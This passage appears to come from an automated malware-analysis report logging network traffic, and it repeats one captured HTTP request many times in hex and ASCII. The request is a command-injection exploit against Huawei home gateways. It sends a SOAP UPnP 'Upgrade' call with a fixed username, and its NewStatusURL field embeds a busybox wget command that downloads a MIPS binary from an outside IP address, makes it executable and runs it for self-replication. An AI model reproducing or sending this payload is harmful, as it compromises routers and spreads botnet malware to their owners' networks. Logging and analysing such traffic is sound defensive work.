6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 